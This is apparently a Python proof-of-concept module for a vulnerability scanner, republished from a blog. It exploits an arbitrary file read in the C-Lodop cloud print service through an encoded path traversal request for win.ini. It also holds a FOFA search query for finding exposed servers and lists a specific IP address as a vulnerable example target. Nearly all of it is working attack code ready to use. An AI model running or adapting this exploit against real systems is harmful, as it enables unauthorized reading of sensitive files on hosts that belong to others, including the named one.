POC_ldop+++

# coding:utf-8  
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase

# ...
import urllib3
urllib3.disable_warnings()

class POC(POCBase):

    _info = {
        "author" : "hansi",                      # POC作者
        "version" : "1",                    # POC版本,默认是1  
        "CreateDate" : "2021-07-01",        # POC创建时间
        "UpdateDate" : "2021-07-01",        # POC创建时间
        "PocDesc" : """
        略 
        """,                                # POC描述,写更新描述,没有就不写

        "name" : "C-Lodop 云打印机系统平台任意文件读取漏洞",                        # 漏洞名称
        "VulnID" : "",                      # 漏洞编号,以CVE为主,若无CVE,使用CNVD,若无CNVD,留空即可
        "AppName" : "",                     # 漏洞应用名称
        "AppVersion" : "C-Lodop C-Lodop打印服务系统  2.0.4.7",                  # 漏洞应用版本
        "VulnDate" : "2021-07-01",                    # 漏洞公开的时间,不知道就写今天,格式:xxxx-xx-xx
        "VulnDesc" : """
            C-Lodop打印服务系统是一款云打印软件。 C-Lodop打印服务系统存在任意文件读取漏洞,攻击者可利用漏洞获取敏感信息。
        """,                                # 漏洞简要描述

        "fofa-dork":"""
            title="Welcome to C-Lodop"
        """,                     # fofa搜索语句
        "example" : "http://59.48.144.170:8000",                     # 存在漏洞的演示url,写一个就可以了
        "exp_img" : "",                      # 先不管  

    }

    timeout = 10

    def _verify(self):
        """
        返回vuln

        存在漏洞:vuln = [True,html_source] # html_source就是页面源码  

        不存在漏洞:vuln = [False,""]
        """
        vuln = [False,""]
        url = self.target + "/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini" # url自己按需调整
        

        headers = {"User-Agent":get_random_ua(),
                    "Connection":"close",
                    # "Content-Type": "application/x-www-form-urlencoded",
                    }
        try:
            """
            检测逻辑,漏洞存在则修改vuln值,漏洞不存在则不动
            """
            req = requests.get(url,headers = headers , proxies = self.proxy , timeout = self.timeout,verify = False)
            if req.status_code == 200 and "; for 16-bit app support" in  req.text :
                vuln = [True,req.text]
            else:
                vuln = [False,req.text]
        except Exception as e:
            raise e

        if self._honeypot_check(vuln[1]) == True:
            vuln[0] = False
        
        return vuln


    def _attack(self):
        return self._verify()


版权声明:本文为ITgougou_原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。